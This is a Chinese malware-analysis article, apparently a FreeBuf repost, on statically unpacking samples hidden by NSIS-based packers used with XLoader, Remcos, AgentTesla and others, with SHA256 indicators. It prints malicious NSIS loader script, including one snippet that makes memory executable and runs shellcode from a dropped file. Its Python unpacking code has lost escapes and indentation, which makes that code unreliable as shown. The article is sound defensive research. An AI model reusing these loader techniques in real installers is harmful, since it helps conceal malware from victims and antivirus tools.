加壳程序或加密程序被广泛用于保护恶意软件免遭检测和静态分析,这些辅助工具通过使用压缩和加密算法,使恶意行为者能够为每个活动甚至每个受害者准备独特的恶意软件样本,这增加了防病毒软件的工作难度。对于某些加壳程序,在不使用动态分析的情况下对恶意软件进行分类是一项艰巨的任务。
要分析恶意样本并提取其配置数据(例如加密密钥和命令与控制服务器地址),我们必须先对其进行解包。我们可以通过在沙盒环境(例如CAPE)中运行恶意软件,然后提取内存转储来实现此目的。但是,这种方法有一些缺点。例如,我们通常无法运行获得的转储进行进一步的深入分析,而沙盒模拟本身需要大量时间和资源。
本文研究了一组基于 Nullsoft 脚本安装系统(NSIS)的封装程序,并描述了一种创建可以让我们自动获取解包样本的工具的方法。
NSIS软件包本质上是一个自解压文档,并附带一个了支持脚本语言的安装系统。它包含压缩文件以及用NSIS脚本语言编写的安装说明。要在不运行安装包的情况下访问内容,我们可以使用可识别NSIS格式并支持其压缩方法的解压工具,例如7-Zip。
网络犯罪分子使用NSIS的优势在于,它允许他们创建乍一看与合法安装程序难以区分的样本。由于NSIS会自行执行压缩,因此恶意软件开发人员无需实现压缩和解压缩算法。NSIS的脚本功能允许在脚本内传输一些恶意功能,从而使分析更加复杂。
在分析涉及 XLoader 的活动时,我们注意到,很多同一家族的恶意软件通常都会使用基于NSIS家族的加壳程序来保护样本。我们后来发现很多场景中这些加壳程序与各种恶意软件都会一起使用,包括以下家族:
1、AgentTesla
2、Remcos
3、404 Keylogger
4、Lokibot
5、Azorult
6、Warzone
7、Formbook
8、XLoader
不幸的是,在分析的样本中,我们找不到任何可以明显表明该打包程序名称的文本字符串,除了 DLL 名称“Loader.dll”和包含相同名称的 PDB 路径:
因此,我们决定将其命名为“NSIXloader”,而且这个系列的封装程序分布非常广泛,至少从2016年就开始活跃至今了。
封装样本结构
我们分析的大多数样本都有类似的文件结构:
在文档的根目录中,有两个包含加密数据的二进制文件。$PLUGINSDIR目录中有一个导出多个函数的 DLL,且必须调用其中一个函数才能解压Payload。
NSIS支持插件系统,该系统由默认放置在$PLUGINSDIR目录中的 DLL 文件组成,而恶意 DLL 会伪装成这些插件之一。NSIS允许使用以下语法轻松调用插件函数:
<DLL_NAME>::<function_name>
恶意安装程序使用了一个非常简单的NSIS脚本,该脚本的任务是解压加密文件,并将其放入临时目录中,然后调用恶意 DLL 中的函数。在下面的示例中,调用的函数是“ HvDeclY”:
InstallDir $TEMP
…
Function .onGUIInit
InitPluginsDir
SetOutPath $INSTDIR
SetOverwrite off
File tiejkfis.yp
File pvynjhnv.oh
rnthgfcoj::HvDeclY
DLL
该 DLL 的功能非常简单。DLL 读取最小的加密文件(示例中为“pvynjhnv.oh”),其中的文件名称是硬编码的,然后使用文本密钥进行 XOR 运算解密文件:
解密后,它将执行并调用解密后的Shell代码:
某些变种版本在使用XOR运算前,还会对加密文本的每个字节进行循环移位:
Shellcode
解密文件包含与位置无关的Shellcode,其执行从初始化加密Payload的文件名称开始,并会获取几个 Windows API 函数的地址:
加载程序存储的不是 API 函数名称,而是使用简单算法计算出的4字节哈希值。为了获取所需函数的地址,加载程序会解析 kernel32.dll 的Header并找到转储表的地址。接下来,它计算每个函数名称的哈希值并将其与所需函数的哈希值进行比较。之后,加载程序读取并解密Payload:
每一个被分析的样本都使用了独特的操作序列。尽管密码很简单,但为了实现Payload的自动解密工具,我们需要为每个样本复现独特的命令序列。
应用该算法后,加载器将能够获取解密后的Payload。
第一步,我们可以使用 7-zip 从NSIS包中提取和解压文件,其余的自动化操作可以用 Python 完成。
提取文件后,我们需要从DLL中获取加密密钥。在所有分析的样本中,加密密钥都是由小写拉丁字母和数字组成的文本字符串。我们可以使用以下正则表达式进行搜索:
dll_key_re = re.compile(br"([a-zd]{10,20})x00")
密钥始终位于.data或.rdata部分的开头,因此可以使用malduck库按以下方式提取它:
from malduck import procmempe
def dll_extract_keys(dll_data):
p = procmempe(dll_data)
for section in filter(lambda s: b"data" in s.Name, p.pe.sections):
data = p.readp(section.PointerToRawData, section.SizeOfRawData)
for found in dll_key_re.finditer(data):
yield found.group(1)
现在我们有了密钥,我们可以轻松解密Shellcode。考虑到加壳器可能会在 XOR 操作之前应用循环移位,我们可以检查移位的每个值,并使用正则表达式验证解密的Shellcode:
def decrypt_loader(data, dll_key):
for shift in range(8):
shifted_data = [(b >> shift) | (b << (8 - shift)) & 0xFF for b in data] if shift else data
dec_data = xor(dll_key, shifted_data)
ifShellcode_validation_re.search(dec_data):
return dec_data
然而,最具挑战性的任务是从Shellcode重构Payload的解密算法,我们先来看一下这个算法的汇编代码:
每次操作后都会更新正在解密的缓冲区中的当前字节,并将该字节移回寄存器 EAX。然后使用以下操作之一转换寄存器 EAX 中的数据:“not“, “dec“, “inc“, “sar“, “shl“, “or“, “add“, “sub“, “neg“, “xor“, “movzx“。
为了找到解密算法的开始和结束,我们可以使用 Yara 规则或正则表达式。当我们获得代码的所需部分时,我们可以使用 malduck 库对其进行反汇编和分析。在每个有价值的指令中,第一个操作数是 EAX 或 ECX,这可以用作过滤器。此外,我们注意到第二个操作数可以是寄存器、立即值或内存操作数。如果使用内存操作数,我们使用以下映射:mem_vars_map = {0xFF: "b", 0xF8: "i"}将其转换为命名变量(它可以是“b”——当前字节的值,或“i”——当前字节的索引):
mem_vars_map = {0xFF: "b", 0xF8: "i"}
for ins in filter(
lambda _ins: _ins.op1.value in ("eax", "ecx") and _ins.mnem in supported_instructions,
procmem(data).disasmv(0, size=len(data))
):
if not ins.op2:
op2 = None
elif ins.op2.is_reg or ins.op2.is_imm:
op2 = ins.op2.value
elif ins.op2.is_mem:
op2 = mem_vars_map.get(ins.op2.value & 0xFF)
else:
continue
ops.append(get_operation(ins.mnem, ins.op1.value, op2))
上述代码示例中使用的函数“get_operation”可以通过以下方式实现:
var_list = {"eax": 0, "ecx": 0, "b": 0, "i": 0}
def get_operation(name, op1, op2):
def not_op():
var_list[op1] = (~var_list[op1]) & 0xFF
def dec_op():
var_list[op1] = (var_list[op2] - 1) & 0xFF
def shl_op():
var_list[op1] = (var_list[op1] << op2) & 0xFF
def or_op():
var_list[op1] |= var_list[op2] if isinstance(op2, str) else op2
var_list[op1] &= 0xFF
# ... implementation of other operations ...
operations = {
"not": not_op, "dec": dec_op, "shl": shl_op, "or": or_op,
# ... other operations
}
return operations[name]
收集完所有操作后,我们可以模拟解密算法来解密payload:
def decrypter(enc_data):
dec_data = []
for _i, _b in enumerate(enc_data):
var_list["eax"] = _b
var_list["ecx"] = 0
var_list["b"] = _b
var_list["i"] = _i
for _op in ops:
_op()
dec_data.append(var_list["eax"])
return bytes(dec_data)
除了这个变种之外,我们还发现了其他变种,从简单到复杂,不一而足。
嵌入Shellcode的 DLL
与之前讨论的变种不同,在这种情况下,Shellcode也是加密的,但它没有存储在单独的文件中。相反,它直接嵌入在 DLL 中并加载到基于堆栈的数组中:
我们可以使用以下正则表达式来定位包含加密Shellcode的这部分代码的边界:
shellcode_block = re.search(
b"xC7x85(..xFFxFF)(.{4})(xC7(x85..xFFxFF|x45.)(.{4})){32,}.*x8D..\1",
dll_data, re.DOTALL
)
我们还可以使用下列正则表达式提取Shellcode本身:
Shellcode= b"".join(re.findall(b"xC7(?:x85..xFFxFF|x45.)(.{4})",Shellcode_block, re.DOTALL))
而用于解密Shellcode的XOR密钥仍然存储在DLL中:
NSIS软件包仅包含两个文件:DLL 和加密的Payload。其中的NSIS脚本有相应的更改:
Function .onGUIInit
InitPluginsDir
SetOutPath $INSTDIR
SetOverwrite off
File lbchv.zt
jlpeylfn::JKbtgdfd
EXE 替代 DLL
在一些示例中,DLL 插件被替换为常规可执行文件。在这种情况下,NSIS包没有$PLUGINSDIR目录,而所有文件都位于文档的根目录中:
但这个变种的NSIS脚本略有不同,即使用ExecWait命令调用可执行文件,并将存储加密Shellcode的文件路径作为命令行参数传递:
Function .onGUIInit
InitPluginsDir
SetOutPath $INSTDIR
SetOverwrite off
File irgfodgeidi.lh
File hgpngqlustf.ge
File pnmess.exe
ExecWait "$"$INSTDIRpnmess.exe$" $INSTDIRhgpngqlustf.ge"
该变种其余功能保持不变,并且可以应用前面讨论的方法进行自动解包。
RC4加密的Payload
该变种与其他变种都有着明显不同,且更加难以破解。该变种样本包含下列文件:
System.dll插件与加壳器没有直接关系,它是一个嵌入式NSIS插件,提供从脚本调用Windows API函数的能力。
当我们分析NSIS脚本本身时,我们确实看到了一系列API函数调用。通过这些调用,它分配内存,设置内存保护属性PAGE_EXECUTE_READWRITE(0x40),将文件“ zeqtzxaeeuwcxjz”的内容读入其中,然后将控制权转移到那里:
Function .onInit
InitPluginsDir
SetOutPath $INSTDIR
File rdoc6dqwn7
File zeqtzxaeeuwcxjz
System::Alloc 56417
Pop $8
System::Call "kernel32::CreateFile(t'$INSTDIRzeqtzxaeeuwcxjz', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
System::Call "kernel32::VirtualProtect(i r8, i 56417, i 0x40, p0)"
System::Call "kernel32::ReadFile(i r10, i r8, i 56417, t., i 0)"
System::Call kernel32::GetCurrentProcess()i.r5
System::Call "::$8(i r5, i r8, i0).i r5"
Nop
Exec $INSTDIRyeller.dif
此文件包含加密的Shellcode,并实现其加载和解密。首先,将加密的Shellcode逐字节放入堆栈:
在我们确定了加密Shellcode在堆栈上放置的代码边界之后,我们可以轻松地使用正则表达式来提取它:
enc_Shellcode= b"".join(re.findall(b"xC6(?:x85..xFFxFF|x45.)(.)", key_code_block, re.DOTALL))
该变种使用了一个简单的自定义流密码用于解密Shellcode,它由一系列逻辑和算术运算组成:
为了解密Shellcode,我们可以采用与之前解密Payload类似的方法,但需要稍作修改。
此外,在这个变体中,Shellcode本身有很大不同。它没有使用自定义流密码,而是使用了修改后的 RC4 密码。RC4 密钥放在堆栈字符串中:
RC4 密码经过这样的修改之后,我们则必须对获得的数据使用 RC4 密钥并执行 XOR 运算以实现解密:
decrypted_data = rc4(rc4_key, enc_data)
decrypted_data = xor(rc4_key, decrypted_data)
这个家族的封装程序传播非常广泛,且一直都被威胁行为者用于封装恶意Payload。因此,开发自动静态解包工具非常有价值。这些工具可以快速提供对恶意软件未加密版本的访问,从而促进手动和自动分析,这对于配置检索、调试和反汇编等任务至关重要。
SHA256 | Payload |
12a06c74a79a595fce85c5cd05c043a6b1a830e50d84971dcfba52d100d76fc6 | XLoader |
44e51d311fc72e8c8710e59c0e96b1523ce26cd637126b26f1280d3d35c10661 | XLoader |
00042ff7bcfa012a19f451cb23ab9bd2952d0324c76e034e7c0da8f8fc5698f8 | XLoader |
3f7771dd0f4546c6089d995726dc504186212e5245ff8bc974d884ed4f485c93 | Remcos |
160928216aafe9eb3f17336f597af0b00259a70e861c441a78708b9dd1ccba1b | XLoader |
cd7976d9b8330c46d6117c3b398c61a9f9abd48daee97468689bbb616691429e | Agent Tesla |
a3e129f03707f517546c56c51ad94dea4c2a0b7f2bcacf6ccc1d4453b89be9f5 | 404 Keylogger |
bb8e87b246b8477863d6ca14ab5a5ee1f955258f4cb5c83e9e198d08354bef13 | Formbook |
178f977beaeb0470f4f4827a98ca4822f338d0caace283ed8d2ca259543df70e | Lokibot |
80db5ced294160666619a79f0bdcd690ad925e7f882ce229afb9a70ead46dffa | Warzone |
090979bcb0f2aeca528771bb4a88c336aec3ca8eee1cef0dfa27a40a0a06615c | Azorult |
原文始发于微信公众号(FreeBuf):如何自动解包由NSIS基础封装程序保护的恶意样本
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论